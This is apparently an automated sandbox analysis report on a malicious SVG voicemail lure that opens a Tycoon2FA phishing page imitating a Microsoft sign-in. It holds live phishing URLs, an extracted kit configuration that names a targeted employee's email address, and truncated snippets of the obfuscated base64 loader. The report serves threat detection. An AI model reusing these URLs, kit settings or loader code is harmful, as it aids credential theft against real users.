Edit tour

Windows Analysis Report
Play Voicemail Transcription. (387.KB).svg

Overview

General Information

Sample name:	Play Voicemail Transcription. (387.KB).svg
Analysis ID:	1640941
MD5:	577d2a99f19bf9ce5c1fdfc47627706e
SHA1:	76667c7d42bd16cc2b7962359b6fe5da9edb0fc5
SHA256:	ad6646c0606816f5ddd4c3160eb971da0a70f54eac0ff58e837bd3a01242b5d4
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected HtmlPhish80

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

AI detected suspicious URL

Queries random domain names (often used to prevent blacklisting and sinkholes)

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PLAYVO~1.SVG MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,7288536219110086134,15413776007562023016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "T8x6LF1", "emailcheck": "ssalazar@grupomarina.cl", "webname": "rtrim(/web8/, '/')", "urlo": "/yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Play Voicemail Transcription. (387.KB).svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security
Play Voicemail Transcription. (387.KB).svg	JoeSecurity_HtmlPhish_80	Yara detected HtmlPhish_80	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_77	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.1.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.7..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.17.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 19 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://grupomarina.brightnexst.ru/yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-vf2.woff2	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/pax6lf1/	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-regular.woff2	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-bold.woff	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-vf.woff2	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-regular.woff	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/xyy6BRvgDOSBkrsxogh30	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/GDSherpa-bold.woff2	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/56ACCeVmLlcdPPXc8920	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148	Avira URL Cloud: Label: phishing
Source: https://grupomarina.brightnexst.ru/qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 2.17.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "T8x6LF1", "emailcheck": "ssalazar@grupomarina.cl", "webname": "rtrim(/web8/, '/')", "urlo": "/yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v"}

Phishing

AI detected phishing page

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'grupomarina.brightnexst.ru' does not match the legitimate domain for Microsoft., The domain 'brightnexst.ru' is unusual and not associated with Microsoft, which raises suspicion., The presence of a Russian domain extension '.ru' is not typical for Microsoft, which is primarily based in the US., The URL contains no direct reference to Microsoft, which is suspicious given the brand name provided., The email domain 'grupomarina.cl' does not align with Microsoft, suggesting potential phishing. DOM: 2.3.pages.csv
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'grupomarina.brightnexst.ru' does not match the legitimate domain for Microsoft., The domain 'brightnexst.ru' is unusual and not associated with Microsoft, raising suspicion., The presence of 'grupomarina' in the URL does not relate to Microsoft and could be an attempt to mislead users., The domain extension '.ru' is not typical for Microsoft, which usually uses '.com'., The email domain 'grupomarina.cl' does not match the Microsoft domain, suggesting a potential phishing attempt. DOM: 2.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Yara detected HtmlPhish80

Source: Yara match

File source: Play Voicemail Transcription. (387.KB).svg, type: SAMPLE

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 2.19..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_77, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.17.d.script.csv, type: HTML
Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.10.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, blocking keyboard shortcuts and right-click functionality, and redirecting the user to an unrelated website after a delay. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from interacting with the page or redirecting them to a phishing site.
Source: 2.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPH... This script exhibits several high-risk behaviors, including disabling common browser functionality, detecting and redirecting based on the presence of web automation tools, and intercepting clipboard operations. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
Source: 1.10.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and implementing a mechanism to detect and redirect the user to an external website upon detecting a debugger. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing analysis or redirecting users to a malicious site.
Source: 1.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://grupomarina.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://grupomarina.brightnexst.ru/pax6lf1/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger statement further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 1.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://grupomarina.brightnexst.ru/pax6lf1/... This script exhibits several high-risk behaviors, including dynamic code execution through the use of `atob()` and string manipulation to obfuscate the code. Additionally, the script appears to be sending data to an external domain, which could potentially be used for data exfiltration. The heavy obfuscation and lack of transparency around the script's purpose suggest a high likelihood of malicious intent.
Source: 1.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

AI detected suspicious URL

Source: https://brightnexst.ru

Joe Sandbox AI: The URL 'brightnexst.ru' appears to be a typosquatting attempt on the brand 'BrightNest'. The legitimate URL is 'brightnest.com', a known brand offering home organization and cleaning tips. The analyzed URL uses a visual character substitution by adding an 'x' to 'nest', which could easily be overlooked by users. The '.ru' domain extension is unrelated to the brand's typical '.com' domain, which may further confuse users. The similarity score is high due to the close resemblance in spelling and potential for user confusion. The likelihood of typosquatting is also high, given the structural similarity and the use of a misleading domain extension.

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: Play Voicemail Transcription. (387.KB).svg, type: SAMPLE

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW

HTTP Parser: Number of links: 0

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://grupomarina.brightnexst.ru/pax6lf1/#Tssalazar%40grupomarina.cl

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Graphic Card Web Template</title> <style> body { font-family: 'Montserrat', sa...

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: Invalid link: Terms of use
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: Invalid link: Privacy & cookies
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: Invalid link: Terms of use
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: Invalid link: Privacy & cookies

Source: https://grupomarina.brightnexst.ru/pax6lf1/	HTTP Parser: function ifjondlauj(){sddnepvvsx = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "t8x6lf1";var emailcheck = "ssalazar@grupomarina.cl";var webname = "rtrim(/web8/, '/')";var urlo = "/yrhv76insjabvfgxbewsxmlj7a0niucrosz3lm0orxbvhl4je2fqrwo1v";var gdf = "/ijwxbjcpujkugv6b0ius4gwxxngppk1dvmcd120";var odf = "/ijot2xt2gg4wdgglbtvt7ljm9dtswxxs8wxqfkqdlq4wcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(use...

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW

HTTP Parser: <input type="password" .../> found

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No favicon
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No favicon

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No <meta name="author".. found
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No <meta name="author".. found

Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No <meta name="copyright".. found
Source: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 104.21.2.147:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.196:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49798 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 53MB

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100
Source: Joe Sandbox View	IP Address: 104.16.6.189 104.16.6.189
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133
Source: Joe Sandbox View	IP Address: 185.199.110.133 185.199.110.133

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

